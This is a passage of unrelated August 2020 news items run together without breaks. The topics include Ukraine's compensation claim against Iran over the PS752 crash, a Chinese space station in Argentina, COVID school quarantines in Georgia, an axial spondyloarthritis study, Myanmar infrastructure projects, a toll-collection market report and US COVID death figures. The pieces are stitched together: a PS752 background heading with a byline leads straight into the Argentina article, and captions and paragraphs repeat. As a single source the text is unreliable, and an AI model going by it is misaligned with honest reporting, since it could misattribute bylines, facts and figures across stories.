carrier, Ukraine International Airlines (UIA), for the downing of a Boeing 737 passenger jet near Tehran in January 2020, despite attempts to avoid the payment. "It's hard for me to imagine the possibility of avoiding by the Iranian side of responsibility for the downed Ukrainian Boeing, and all the players involved are aware of this," he wrote on Facebook on August 10, 2020. "During bilateral negotiations, the Iranian side had confirmed its readiness to compensate for losses, including to UIA, whose representatives were invited to negotiations to represent the Ukrainian side. We agreed to include this issue on the agenda of the next round of negotiations," the official said. Read alsoUIA plane crash: Ukraine's FM announces results of talks with Iran on payment of compensation Yenin explained if Iran refuses to pay the compensation to UIA, this will be done by the European insurance companies where the plane was insured. "Indeed, the UIA plane was insured by a European insurance company, which, in turn, reinsured its risks with other insurers. Therefore, Iran will have to compensate the losses to UIA if not directly, then in recourse to the relevant insurance companies, but it will still be about the same compensation," he added. PS752 downing in Iran: background by Silvina Premat The agreement, signed in 2015, became official along with a currency swap worth US$ 18.5 billion. The facility, which has cost US$ 50 million so far, is run by an agency controlled by the Chinese military. For Western experts, it can be used for military purposes. The concessions are too good for China, sayas Argentine analyst. Buenos Aires (AsiaNews) Argentina has officially granted China a controversial space station that went into operation two years ago in Patagonia. The decision followed an explicit request from Chinese President Xi Jinping to his Argentine counterpart Alberto Fernandez. It came in the same week that Argentina's central bank renewed a currency swap with the Chinese central bank for US$ 18.5 billion. For several observers, the two agreements seal the political-economic alliance of the two countries. Fernandez signed into the law a bill adopted in 2015. The latter grants China 200-hectare base in Neuquen province with a 50-year tax exemption. The facility is operated by the Satellite Launch and Tracking Control General agency, which is controlled by the Chinese People's Army, and uses only Chinese personnel. So far, Beijing has invested US$ 50 million to build the station, which includes a 35-metre antenna. The Argentine government can only use 10 per cent of the operating time of the space observation equipment. In addition to the "peaceful" exploration of the darker side of the moon, ostensibly Chinas reason for the base, European and US experts believe the facility has other purposes as well. They warn of possible espionage, sabotage and other military activities banned under international treaties. "The concessions are too favourable to the Chinese government, said Martin Dinatale, an Argentine journalist and expert, speaking to AsiaNews. The danger of dual use is latent and the activity taking place there is unknown. Dinatale notes that Xi recently promised the Argentine president that he would raise the status of the diplomatic relations between the two countries. The current global strategic partnership will become full cooperation, which "implies greater benefits for both parties, but also greater commitments". Jeremiah Miller, 17, of Atlanta, leans on a large check sign for the #OneCheckIsNotEnough campaign near Georgia Senator David Perdue's office on Tuesday, Aug. 11, 2020, in Atlanta. The campaign said the large check is to urge politicians to support recurring direct payments in the next coronavirus relief package. (AP Photo/Brynn Anderson) A Georgia school district has quarantined more than 900 students and staff members because of possible exposure to the coronavirus since classes resumed last week and will temporarily shut down a hard-hit high school in which a widely shared photo showed dozens of maskless students posing together. The quarantine figures from the Cherokee County School District include at least 826 students, according to Georgia Gov. Brian Kemp said that the reopening of some of the state's schools amid the coronavirus outbreak has gone wellexcept for the viral photos of students crowded together without masks. The photos showed students standing shoulder to shoulder in crowded hallways at North Paulding High School northwest of Atlanta and squeezed together for first-day-of-school senior photos at two high schools in Cherokee County, including Etowah, which has had more than 300 students and staff members told to quarantine. Few students in the photos wore masks. Democrats strongly pushed back against Kemp's assessment that school reopenings were proceeding safely, blaming him and President Donald Trump for failures. Cherokee County School District Superintendent Brian Hightower said the district was temporarily shutting down Etowah High School starting Wednesday and hoped to reopen the school on Aug. 31. Fifty-nine students, teachers and staff members in the Cherokee County School District have tested positive for the virus so far, he said, though it's not clear whether any of them were infected at school. "We anticipated positive tests among students and staff could occur, which is why we put a system into place to quickly contact trace, mandate quarantines, notify parents and report cases and quarantines to the entire community," a spokeswoman for the district, Barbara Jacoby, said in an email. "We are not hesitating to quarantine students and staff who have had possible exposure to a student or staff member who has tested positive." The quarantines have affected at least 19 schools in the district. John Miller, 25, of Atlanta, spins a large check sign for the #OneCheckIsNotEnough campaign near Georgia Senator David Perdue's office on Tuesday, Aug. 11, 2020, in Atlanta. The campaign said the large check is to urge politicians to support recurring direct payments in the next coronavirus relief package. (AP Photo/Brynn Anderson) The district gave parents the option of sending their children to school or having them learn from home to start the year. Jacoby said about 9,600 students are learning from home. Other Atlanta-area school districts decided to scrap in-person learning for virtual instruction after cases of COVID-19 in Georgia began spiking again. Cherokee opened without a mask mandate for students, though staff must wear masks when they are unable to maintain social distance. Hightower urged the school community to use masks. "We know all parents do not believe the scientific research that indicates masks are beneficial," he said in a message posted online Tuesday. "But I believe it and see masks as an important measure to help us keep schools open." More than 80 Georgia school districts have opened or plan to open for some kind of in-person instruction by Aug. 17, according to figures kept by school reform group GeorgiaCAN. The Georgia High School Association, meanwhile, provided WXIA-TV with an updated figure for the number of student athletes who have tested positive for the coronavirus since it allowed schools to begin summer practices in June. The number now stands at 866. And Georgia Supreme Court Chief Justice Harold Melton extended a statewide judicial emergency through Sept. 10. That means jury trials and most grand jury proceedings remain prohibited, but his order says a task force is looking at how those proceedings could be safely held, including the possibility of holding them remotely. "This broad prohibition cannot last too much longer, even if the pandemic continues, because the judicial system, and the criminal justice system in particular, must have some capacity to resolve cases by indictment and trial," Melton's order says. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. The Black Lives Matter street mural is public art and should stay, the Arts Commission of the city of Tulsa says. It is sending that message to Mayor G.T. Bynum and the City Council on Tuesday. The commission members, the majority of whom are white, voted to send a letter voicing their support for the mural on Greenwood Avenue. I share the view that this is a powerful and important piece of art and expression, maybe among the most important pieces of art in our communitys history, particularly in the place that it has been painted and the time that it has been painted, Ken Levit said. Levit, a commission member and executive director of the George Kaiser Family Foundation, said during a Monday meeting of the Arts Commission that he urges the city to adopt the mural into the citys collection of public art. The Arts Commission is the city governments foremost authority on public art. However, its members said whether to accept the mural as a work of public art will ultimately come down to city councilors. A large European cross-sectional study has now examined which factors delay the diagnosis of axSpA (1). A major factor is the number and type of medical professionals who have assessed the patients. The European League Against Rheumatism (EULAR) therefore recommends initiating measures to prevent misdirected referrals, to facilitate timely referral of patients with a high probability of axSpA to a rheumatologist and consequently speed up the diagnosis. Axial spondyloarthritis (axSpA) is a chronic systemic rheumatoid-inflammatory disease associated with inflammation of the spine. "The affected patients often have been experiencing spinal pain since early adulthood", EULAR President Professor Dr Iain B. McInnes, Director of the Institute of Infection, Immunity & Inflammation, The University of Glasgow, Scotland, explains: "Over time, the structure of the axial skeleton changes and its ability to move becomes increasingly limited." Patients experience difficulties getting dressed, bathing, showering, putting on shoes and climbing stairs, among other things. The onset of axSpA affects younger patients, with the first symptoms already experienced by patients between 20 and 30 years of age. "Symptoms can vary widely and physicians may initially fail to associate them with the disease," Professor Dr John Isaacs, Director of Therapeutics, The University of Newcastle, UK and Scientific Chair of the EULAR Scientific Committee, explains. He cites pain as a symptom typically affecting both the lower back and upper back, including the neck. "Many years can pass until the correct diagnosis is made. It is important, however, to detect and accordingly treat the disease as early as possible. Timely treatment can help to prevent permanent damage to bones and joints." The "European Map of Axial Spondyloarthritis (EMAS)" study investigated which factors can impact the time to diagnosis. 2,846 patients from 13 European countries with an average age of 48.1 years, who on average had been suffering from axial spondyloarthritis for 17.2 years, participated in the cross-sectional study. Professor Dr Marco Garrido-Cumbrera of the University of Seville, Spain, and scientific advisor to the International Axial Spondyloarthritis International Federation (ASIF), together with the EMAS Steering Committee, present the findings in a recent study: patients were 26.6 +/- 11.1 years old on average at symptom onset, the mean age at diagnosis was 33.7 +/- 11.5 years and the mean time to diagnosis was 7.4 +/- 8.4 years. Different variables were associated with longer time to diagnosis, among them younger age at symptom onset and female gender. The most strongly associated parameter, however, was the number of medical professionals involved prior to diagnosis. Because these professionals proposed incorrect diagnoses, this delayed the time it took to arrive at the correct diagnosis by a rheumatologist. In this large sample, the diagnostic delay is on average 7.4 years but can even be up to 15 years. The disease burden on the patient is huge, especially as they suffer from terrible and disabling pain for so many years, without even knowing the source of the pain. As Garrido-Cumbrera adds: "A diagnosis introduces a specific and appropriate treatment and brings hope for the future." According to Professor Dr. Denis Poddubnyy from the Charite-Universitatsmedizin Berlin, who also participated in the study, "the fact that visiting a higher number of healthcare professionals delayed the diagnosis shows that there is an urgent need to take measures that prevent misdirected referrals and bring patients with a high probability of axSpA directly to a rheumatologist." "Improving professional training could indeed prevent unnecessary delays in diagnosis", Poddubnyy concludes. ### Reference: 1.) Garrido-Cumbrera M., Navarro-Compan V., Bundy C. on behalf of EMAS Working Group, et al.: OP0278 IDENTIFICATION OF PARAMETERS ASSOCIATED WITH A DIAGNOSTIC DELAY IN AXIAL SPONDYLOARTHRITIS: RESULTS FROM THE EUROPEAN MAP OF AXIAL SPONDYLOARTHRITIS (EMAS)Annals of the Rheumatic Diseases 2020;79:173-174. In case you have not yet registered to the eCongress EULAR 2020, you may still do so via this link https://www.congress.eular.org/press_registration_form_2020.cfm. All content on the eCongress platform is available until August 31st, 2020. The issue of the return of the rebel MLAs was discussed at the Congress Legislature Party (CLP) meeting held in Jaisalmer on Tuesday night. Sources said that the MLAs were advised to avoid giving statements without reason. Also, no decision was made over the vote of confidence in meeting ahead of the crucial assembly session on August 14. Party in-charge Avinash Pandey said all MLAs will start from Jaisalmer and return to Jaipur at 11am tomorrow. The CLP meeting came hours after Congress leader Sachin Pilot returned to Jaipur nearly a month after he rebelled against Chief Minister Ashok Gehlot. Kalil said researchers chose the drug because studies indicate that people who progress to more severe COVID-19 disease have lower levels of the protein in their blood and in their lungs. The hypothesis we have is that because of this very tough fight between the virus and our immune system, we end up getting depleted of this very important molecule that has direct antiviral properties, he said. By replenishing the protein and adding remdesivir, which takes aim at the viruss ability to replicate, they hope to create a synergistic effect, Kalil said. Interferon, he said, has been used as a treatment for many years, so researchers have a good understanding of how it works and of its safety. The researchers plan to enroll about 1,000 patients with pneumonia related to COVID-19 at nearly 100 hospitals around the world. All patients will get remdesivir, but half will get the new drug and half will get a placebo. Neither the researchers nor the participants will know who is getting which combination. The drug, according to the NIH, is marketed under the brand name Rebif by EMD Serono, a North American arm of German drugmaker Merck. Sanjay Dutt was taken to Mumbai's Lilavati Hospital on 8 August for a full check-up, where he was also tested negative for COVID-19. Actor Sanjay Dutt on Monday was discharged from the hospital, two days after he was admitted for breathlessness. The 61-year-old actor was taken to Lilavati Hospital on Saturday evening for full check-up, where he was also tested for COVID-19, which turned out to be negative. An official from Lilavati Hospital told Press Trust of India that Sanjay Dutt was discharged around 3 pm on Monday. He was later clicked outside his Bandra residence, where he waved to the waiting photographers and well-wishers. On 8 August, the Munnabhai MBBS actor, soon after hospitalisation issued a statement on Twitter assuring his followers that he is "doing well" and his reports for COVID-19 were negative. Read the tweet below Just wanted to assure everyone that Im doing well. Im currently under medical observation & my COVID-19 report is negative. With the help & care of the doctors, nurses & staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes & blessings Sanjay Dutt (@duttsanjay) August 8, 2020 The actor is the eldest child of late Bollywood stars Nargis and Sunil Dutt. He has two sisters Priya Dutt and Namrata Dutt. He is married to Maanayata Dutt with whom he has two children, a son and a daughter. He also has a daughter Trishala Dutt from his first marriage to Richa Sharma. She died of brain tumour in 1996. On the work front, Sanjay Dutt is currently awaiting the release of Sadak 2 and Bhuj: The Pride of India, which will premiere on Disney+ Hotstar. He will also star in the second instalment of KGF and Shamshera, alongside Ranbir Kapoor. In 2019, the actor had featured in three movies Ashutosh Gowariker's period drama Panipat, Karan Johar-produced Kalank and political drama Prassthanam. (With inputs from agencies) BOSTON, Aug. 11, 2020 /PRNewswire/ -- TechTalk Summits today announced the addition of the Commercial IT Analyst Series to its expanding roster of events for IT professionals and executives. The company has suspended live events while significantly increasing its virtual event roster in response to demand from partner companies and attendees, paving the way for a strategic research partnership with global leader in market analysis, International Data Corporation (IDC). IDC has responded to the challenges of the recent pandemic and associated costs on the global business market with comprehensive research on strategic technology decisions that will flatten the curve toward recovery. Joining TechTalk Summits' program is a natural fit with the company's reputation for featuring cutting edge information on innovation, products and services to IT professionals in markets ranging from SMB to enterprise. "We're excited to offer our sponsor companies and attendees access to analyst research at the forefront of this new normal from the most respected global market research leader, IDC," said Mike Healy, TechTalk Summits Founder and Managing Partner. "We're committed to helping with real world recovery solutions for business in 2020 -- IDC is integral to this commitment." "As companies recover from the pandemic, CIOs have the opportunity to lead in new areas" said Joe Pucciarelli, IDC Group VP and IT Executive Advisor. "IDC's CIO Recovery Guides empower IT executives with the strategies needed to optimize IT's contributions to business success in a post-COVID-19 world," he added." About IDC International Data Corporation (IDC) is the premier global provider of market intelligence, advisory services, and events for the information technology, telecommunications, and consumer technology markets. With more than 1,100 analysts worldwide, IDC offers global, regional, and local expertise on technology and industry opportunities and trends in over 110 countries. IDC's analysis and insight helps IT professionals, business executives, and the investment community to make fact-based technology decisions and to achieve their key business objectives. Founded in 1964, IDC is a wholly-owned subsidiary of International Data Group (IDG), the world's leading tech media, data and marketing services company. To learn more about IDC, please visit www.idc.com. Follow IDC on Twitter at @IDC and LinkedIn. Subscribe to the IDC Blog for industry news and insights: http://bit.ly/IDCBlog_Subscribe. About TechTalk Summits TechTalk Summits regional events address key tactical and strategic (mission critical) issues for IT decision makers and influencers. Live, virtual and custom events create a collaborative environment for solution providers with the opportunity to reach CIOs, CTOs, IT Directors and staff with information about transformative technologies crucial to their systems. We bring you face-to-face with the companies that will ensure you're ahead of today's and tomorrow's threats to your data and IT security. To learn more about TechTalk Summits visit us at www.techtalksummits.com. SOURCE TechTalk Summits Related Links techtalksummits.com Burma Whats New in Myanmars Project Bank A night view of downtown Yangon, Myanmars commercial capital. / The Irrawaddy YANGONThe Myanmar government has added to the countrys project bank of officially endorsed infrastructure plans nearly six dozen new major investment projects worth billions of dollars, including the construction of research and laboratory facilities, expressways and bridges, power supply projects and inland ports across the country. Launched in February, the Myanmar Project Bank offers potential investors key data on proposed infrastructure projects such as descriptions, status, total estimated cost, financing plans and time lines. All projects listed in the bank are fully supported by the government and align with the Myanmar Sustainable Development Plan (MSDP)a road map for achieving inclusive and transformational economic growth. The 71 new major projects will be added to the banks existing 58, which are currently assigned various status levels, ranging from implementing to conducting feasibility study to project contract development. The new list is dominated by the construction of combined-cycle power plants, solar power plants and photovoltaic system (PV system) plants across the country, and the development of inland ports in some major cities. The government has an ambitious target to achieve the electrification of the whole country by fiscal year 2029-30. Moreover, it plans to encourage a series of investments, infrastructure projects and reforms with the aim of reducing shipping costs and expanding transport capacity. Its goal is to increase transport sector investment from 1-1.5 percent of GDP to 3-4 percent under the Myanmars National Development Plan and the Logistics Master Plan. Among the newly added major projects, the biggest in terms of investment amount is the US$900-million (1.22-trillion-kyat) Yangon elevated expressway (YEX), a four-lane inner ring road connecting downtown Yangon, Yangon port, Yangon International Airport, Mingaladon Industrial Zone and the Yangon-Mandalay Highway. The project is expected to be implemented with private-sector financing. Power-supply projects According to the project bank, the Ministry of Electricity and Energy called for additional financing for a planned $510-million solar power project covering Kyaukpahtoe, Monywa, Ngapyawdine, Nyaungbingyi and Ohntaw that aims to supply electricity to people in Sagaing Region, especially during the dry season. It will have an installed capacity of 300 megawatts (MW) and an average annual power generation of 615 gigawatt-hours (GWh). Moreover, the government is negotiating a contract with the World Bank to upgrade and install a high-efficiency combined gas turbine unit for the 300 MW Ywama power plant in Yangon, according to the project bank. The $358-million project aims to enhance power generation capacity and stabilize power supply to the Yangon business district and other important areas such as the regional parliament, Yangon General Hospital, Shwedagon Pagoda, Yangon International Airport and downtown areas. Moreover, the new list also includes a $240-million solar photovoltaic (PV) power plant in Wundwin Township, Mandalay Region with an installed capacity of 150 MW and average annual power generation of 305 GWh. The government also plans to implement the 150 MW Myaungtagar solar power project covering Taungoo, Tharyargone, Thephyu, Kamarnat and Minhla in Bago Region, and another 150 MW Myaungtagar solar power project in Yangon Region. Each project will cost $225 million, according to the project bank. Another solar power project is proposed for Belin, Letpanhal, Myingyan, Thapyaywa and Taungtawgwin with installed capacity of 200 MW. According to the bank, it will cost $340 million and supply electricity to the people of Mandalay Region, especially during the dry season. A solar power project planned in Chauk, Taungtwingyi and Tanyaung in Magwe Region is also listed in the project bank. It will cost $170 million and have a capacity of 100 MW. Moreover, the government plans to establish a $240-million solar PV power plant in Nabuaing Township in Mandalay Region with an installed capacity of 150 MW and average annual power generation of 305 GWh. It also listed a $106-million power and agriculture project involving the establishment of a solar PV power plant in Hlaingtharyar Township, Yangon Region. It will have an installed capacity of 100 MW and average annual generation of 221 GWh. Also listed is the $65-million Tagondine PV power and agriculture project in Pyi Gyi Tagon Township, Mandalay Region with total installed capacity of 60 MW, and the $64-million Pyinmana PV power and agriculture project with total installed capacity of 60 MW in Pyinmana Township in Naypyitaw. Additionally, the government plans to implement the 40 MW Shwekyin PV power, agriculture and hydro project in Shwe Kyin, Bago Region at an expected cost of $45 million. It is also developing the $43-million, 40 MW Kun Solar PV power, agriculture and solar PV power and hydropower project in Phyu Township, Bago Region. The project bank also listed the Chaung Tha wind power project located near Chaung Tha Beach, Pathein Township, Ayeyarwady Region. It will have an installed capacity of 30 MW and is expected to cost $65 million. The construction of a thermal power plant using waste disposal in Mon State was also added to the project bank. It said the electricity and heat to be generated by the project will reduce the use of firewood and other traditional fossil fuel-based power, such as diesel, for rubber drying purposes. The project will cost $16 million. The rehabilitation of five hydropower plants in Yenwe, Kinda, Monechaung, Thaphanzeik and Zaungtu are also included in the bank. The government expects this to cost $4 million and the hydropower plants are expected to be able to run at full capacity, boosting power generation from 565 to 646 million kilowatt hours upon completion of the upgrades, the bank said. Currently, the five plants have been operating for between 10 and 30 years and have experienced mechanical breakdowns due to lack of heavy maintenance. Inland ports Besides the power projects, the government also added the development of inland port projectsthree on the Irrawaddy River and two on the Chindwin River. It has plans to construct ports in Magwe, Pakokku, Kalewa, Bhamo and Monywa. The inland port development project on the Chindwin River in Monywa is expected to cost $44 million. Currently, Monywa Inland Port has manual facilities and cannot handle large cargo because of a lack of modern equipment. It said the project is essential for cargo flow in Monywa, in northwestern Myanmar, as well as in Yangon, Magwe, Mandalay, Kachin and Chin states. It also aims to improve the competitiveness of river transport and enhance trade logistics with India, China and Thailand. The inland port project in Kalewa is expected to cost $24 million and involve the development of modern river port facilities and improvement of channel navigation in Kalewa Port along the Chindwin River in Sagaing Region. It said the project aims to improve the competitiveness of river transport and enhance trade logistics with India and Bangladesh. Upstream transportation from Mandalay and Monywa along the Chindwin River is increasing and Kalewa is gaining importance as a staging point for trade between Myanmar and India, the bank said. The inland port development in Pakokku on the Irrawaddy River is expected to cost $47 million and will involve upgrading of river port facilities in Pakokku, one of the largest cities in Magwe Region. Pakokku occupies a strategic location in central Myanmar and is connected to other parts of the country and to China, Thailand and India by multiple modes of transportation. The inland port development in Magwe on the Irrawaddy River is expected to cost $33 million, while the Bhamo port is expected to cost $34 million. The Irrawaddy has learned that the port project in Bhamo is not only in line with countrys strategic plan, but also a part of Chinas plan to develop a China-Myanmar Irrawaddy Economic Belt. The strategic land and water transport route is expected to start in Kunming and run through Longchuan in Yunnan province to Bhamo in Kachin State, then to Yangon and the Indian Ocean. The Irrawaddy River is the countrys most important waterway, flowing into the Andaman Sea through the Irrawaddy Delta. Chinas plan involves the transport of cargo from the Chinese border at Longchuan via the Zhangfeng/Lio Je customs gate to the northern trade hub at Bhamo by road or rail. From Bhamo, cargo and passengers could sail down the Irrawaddy River to Mandalay, Yangon and the Indian Ocean. The project banks said the project will promote efficient cargo handling and containerization, facilitate inland water transportwhich has lower greenhouse gas emission per unit of transport volume than that of road transportcreate job opportunities for local people, and enhance the competitiveness of economic zones and industrial zones in the area. Other infrastructure, research projects The government also added nearly a dozen projects involving new and upgraded bridges, roads and airports to the bank. Among them, it plans to build the Bee Linn Chaung Bridge, which will involve construction of a new two-lane bridge beside the existing two-lane Bee Linn Chaung Bridge that was built in 1980. The proposed bridge would become part of an arterial road network connected to the Japan-backed Greater Mekong Subregion (GMS) East-West Economic Corridor (EWEC), which aims to reduce poverty by providing an important link to neighboring states and regions. Moreover, it has listed the Second Greater Mekong Subregion Highway Modernization Project, which involves construction of a new 62-kilometer arterial highway that will extend the EWEC from Bago in Bago Region to Kyaik Hto in Mon State. It also includes a new 2.3-km bridge across the Sittaung River, with proposed financing by the Japan International Cooperation Agency (JICA). The four-lane concrete highway with 3.5-meter-wide carriageway will provide easier access to the Japan-backed Thilawa Special Economic Zone (SEZ) near Yangon. The EWEC is intended to connect Thailand with Yangon and the Thilawa SEZ, and then continue onwards to Pathein, the capital of the Irrawaddy Delta. Among several road development projects listed in the bank is the Momauk-Lweje road upgrade project. It calls for the upgrading of the 79-km Momauk-Lweje Road, which is a key trading route from Kachins Bhamo to Yunnans Longchuan County in southwestern China. It said the project aims to develop Myanmar-China border trade in the short term, and support the growth of industry and agriculture, and the development of the Bhamo harbor, in the long term. Currently, the Kachin State government is proposing that the project be implemented using a build-operate-transfer (BOT) approach. Among several development projects, the bank listed the e-recruitment and integrated civil service system, electronic transaction reporting gateway, web portal and financial intelligence analysis system, disaster risk reduction emergency response and resettlement project, international standard electrical appliance testing laboratory,non-communicable diseases prevention and control project, and the national malaria control program. Moreover, it added the establishment of a primary laboratory for chemical and related substances, national forest inventory and national forest monitoring information systems (NFI/NFMIS), a national water quality monitoring system and a national laboratory to improve the countrys capacity for water quality management. Other projects include the Mekong-Korea biodiversity center, capacity building and improvement of capability of air quality monitoring, tidal stations and a geodetic leveling network. You may also like these stories: Ethnic Kayah Parties Pledge Cooperation in Myanmars Election Non-Signatories to Myanmars Nationwide Ceasefire Agreement Yet to Decide on Attending Peace Conference The electronic toll collection market is projected to reach USD 10. 0 billion by 2025 from USD 6. 9 billion in 2020; it is expected to grow at a CAGR of 7. 7% during the forecast period. The electronic toll collection market in APAC is projected to grow at the highest CAGR during the forecast period. New York, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Electronic Toll Collection Market with COVID-19 Impact Analysis by Technology, Offering, Application, Type And Region - Global Forecast to 2025" - https://www.reportlinker.com/p05586876/?utm_source=GNW Countries such as China, Japan, India, and South Korea are major contributors to the growth of the electronic toll collection market in APAC. The growth prospective of the electronic toll collection market in APAC is promising with a steady growth rate in the near future. The COVID19 pandemic has affected the market in APAC, however, a steady recovery by 2021 is expected with the significant infrastructural investments and government support. The major restraints for the growth of the market are implementation constraints in emergent nations. Issues related to interoperability and common standards act as major challenges for the growth of the market. The transponder-/tag-based tolling segment projected to hold a larger share of the electronic toll collection market during the forecast period. TransCore (US), Q-Free (Norway), and Star Systems International (Hong Kong) are the major companies that offer transponders for electronic tolling systems.TransCore (US) offers RFID transponders and readers, which are widely used in toll operations across the US. Interoperable multi-protocol transponders provided by the company use existing toll infrastructure, thereby eliminating risky and costly modifications for tolling agencies. Among applications, the highways segment to grow at a higer CAGR between 2020 and 2025. The electronic toll collection market is significantly driven by its adoption mainly in developing countries.Government initiatives to promote faster payments of toll fees through a digital mode and decongest highways would generate immense growth opportunities for the ETC market. For instance, in December 2019, the National Highways Authority of India initiated electronic toll collection at national highways through FASTag, an RFID tag. Many interurban toll highways, including Highway 6 (Israel) and Northern Gateway Toll Road (New Zealand), all over the world use DSRC-based ETC systems. RFID technology to hold the largest share of the electronic toll collection market during the forecast period. RFID technology utilizes its radio-frequency electromagnetic fields for the identification of objects that carry RFID tags.This technology is used in electronic identification, tracking, and storing information contained on the tag. Two-way radio transmitters/receivers called interrogators or readers send a signal to the tag and read its response.RFID readers scan the tag and then send that information to the database for storing. RFID is a prominent technology used in ETC systems owing to its low operational cost. North America projected to hold the largest share of the electronic toll collection market in 2025. The North America is expected to continue to lead the electronic toll collection market by capturing the largest market size throughout the forecast period.The US and Canada are the key countries in North America with most vehicles per person, which is one of the most contributing factors to the growth of the electronic toll collection market. Additionally, both the countries have the largest networks of interstate and state highways wherein advanced toll collection systems are installed at many locations, and several toll installation projects are in progress for lanes with high traffic. Leading companies such as TransCore (US), Raytheon (US), and Conduent (US) in the electronic toll collection market have their base in North America while having operations in countries across the world. They contribute significantly to the growth of the electronic toll collection market in the region Breakdown of profiles of primary participants: By Company Type: Tier 1 = 35%, Tier 2 = 45%, and Tier 3 = 20% By Designation: C-level Executives = 40%, Directors = 35%, and Others = 25% By Region: North America = 40%, Europe = 30%, APAC = 20%, and RoW = 10% Kapsch TrafficCom (Austria), Conduent, Inc. (US), Efkon GmbH (Germany), TransCore (US), and Thales Group (France), Raytheon Technology Corporation (US), Cubic Corporation (US), Siemens AG (Germany), Neology Inc. (US), and Feig Electronics (Germany) are a few major players in the electronic toll collection market. Research Coverage: This report segments the electronic toll collection market based on technology, type, offering, and application. The report gives a detailed view of the market across 4 main regions: North America, Europe, APAC, and RoW. Reasons to Buy the Report: This report includes statistics pertaining to the electronic toll collection market based on technology, type, offering, application, and region, along with their respective market sizes Major drivers, restraints, opportunities, and challenges for the electronic toll collection market have been provided in detail in this report The report includes illustrative segmentation, analysis, and forecast for the electronic toll collection market based on its segments and subsegments Read the full report: https://www.reportlinker.com/p05586876/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Story continues CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001 Advertisement Coronavirus deaths in the United States are now declining for the first time in more than a month as the number of infections continue to drop across the country and only 11 states are seeing an increase in cases in the last week. The nationwide death toll dropped 16 percent last week compared to the previous seven days, which is the first decline in deaths after four weeks of increases. More than 163,000 Americans have now died from COVID-19 and the average number of deaths is just over 1,000 per day. While the average daily death toll is still high, it remains below levels seen in April when an average of 2,000 people a day were dying from the virus. The number of infections across the US has now surpassed the grim five million milestone but new cases have now been falling for three straight weeks, according to a Reuters tally of state and county reports. An average of about 53,000 infections were reported per day in the week ending August 9. Daily infections are down considerably compared to the spikes seen last month across Sunbelt states when single daily highs of more than 70,000 cases were reported. Last week's decline in new cases came largely from the recent hotspots of California, Arizona, Florida and Texas. The nationwide death toll dropped 16 percent last week compared to the previous seven days, which is the first decline in deaths after four weeks of increases. Deaths rose in 15 states last week with the highest increase in Wyoming after it added two new deaths to bring its total to 28. West Virginia's death was at 139 after adding 22 new deaths More than 163,000 Americans have now died from COVID-19 and the average number of deaths is just over 1,000 per day. While the average daily death toll is still high, it remains below levels seen in April when an average of 2,000 people a day were dying from the virus An average of about 53,000 infections were reported per day in the week ending August 9. Daily infections are down considerably compared to the spikes seen last month across Sunbelt states when single daily highs of more than 70,000 cases were reported For instance, new cases in Arizona fell by more than 48 percent in the last week. On Sunday, the state reported less than 1,000 cases for the first time since June 29. Cases dropped by 19 percent in California, 27 percent in Florida and three percent in Texas in a week. Deaths in those hotspot states increased by three percent in California last week but dropped 16 percent in Arizona, 10 percent in Florida and 39 percent in Texas. Fatalities rose in 15 states last week with the highest increase in Wyoming after it added two new deaths to bring its total to 28. West Virginia's death was at 139 after adding 22 new deaths and Tennessee's death toll rose to 1,223 after 150 new fatalities were recorded. Deaths are a lagging indicator and can continue to rise weeks after new infections drop. A coronavirus death, when it occurs, typically comes several weeks after a person is first infected. In the last week, 11 states saw increases in COVID-19 cases including Hawaii (124%), Vermont (27%), North Dakota (19%), Indiana (18%), South Dakota (16%), Illinois (15%), Virginia (15%), Arkansas (7%), Idaho (5%), Kansas (5%) and Minnesota (3%). Two weeks ago, cases were still increasing in 20 states. Hawaii had kept the virus at bay for most of the summer, but new cases more than doubled last week to over 1,200. Hawaii Governor David Ige said last week he would be reinstating inter-island travel restrictions that require people to quarantine for 14 days in a bid to curb the spread. In South Dakota, new cases have increased for the third straight week. More than 100,000 motorcycle enthusiasts are expected to attend a 10-day annual rally in Sturgis that began on August 7. In the last week, 11 states saw increases in COVID-19 cases including Hawaii (124%), Vermont (27%), North Dakota (19%), Indiana (18%), South Dakota (16%), Illinois (15%), Virginia (15%), Arkansas (7%), Idaho (5%), Kansas (5%) and Minnesota (3%) Nationally, the share of all tests that came back positive for coronavirus held steady at 8 percent in the last week, according to data from The COVID Tracking Project. Only 15 states reported a positive rate under 5%, which is the threshold that the World Health Organization considers concerning. The number of positive tests as a percentage of total tests provides insight into whether more testing is needed and which members of the population are being tested. A high positivity rate suggests that a community might be testing mostly the sickest patients, and could be missing milder or asymptomatic cases. A lower positivity rate may indicate a community is also testing patients with milder or no symptoms. The decline in deaths and cases comes about three weeks after President Donald Trump, who for months refused to publicly wear a mask, urged Americans to cover their faces in public to stop the spread. He is pictured above on August 6 Even though cases are trending downward in the majority of states, the nationwide daily case rate is still high compared to the peak in April and public health officials have warned there is much more work needed to bring the national curve back to baseline. Health experts have attributed the current decline in cases and deaths to policy and behavior changes in the hotspot states behind the summer surge where governors and local officials rolled back reopenings to curb the infection rate. They say the widespread adoption of masks, social distancing and closing down bars all helped, while some scientists believe that increasing population immunity may have also played a role. Experts say, however, that US is not close to reaching herd immunity. The decline in deaths and cases comes about three weeks after President Donald Trump, who for months refused to publicly wear a mask, urged Americans to cover their faces in public to stop the spread. While the average daily death toll is still high, it remains below levels seen in April when an average of 2,000 people a day were dying from the virus - mostly in the original epicenter of New York. Deaths surged in April in the weeks after coronavirus infections spiked mostly in the Northeast. The number of fatalities started spiking in Sunbelt states and across the Midwest after cases surged in June and July. Health experts have indicated the death toll may not be as bad this time around possibly because a large share of the current cases are younger people, who are less likely to die, and because of advances in treatment and knowledge of the virus. But experts warn that unless the curve is pushed down much further, hospitals will continue to be stretched and people will continue to die. California's cases dropped 19 percent last week but deaths increased three percent. Deaths are a lagging indicator and can rise weeks after new infections drop Cases dropped three percent in Texas in a week compared to the previous seven days. Deaths in the hotspot state declined by 39 percent in the last week New cases in Arizona fell by more than 48 percent in the last week. On Sunday, the state reported less than 1,000 cases for the first time since June 29. Deaths dropped 16 percent in Arizona last week compared to the previous seven days Deaths in Florida dropped 10 percent in the last week and infections also declined by 27 percent A revised forecast has predicted the US death toll would almost double by the end of the year but 70,000 lives could 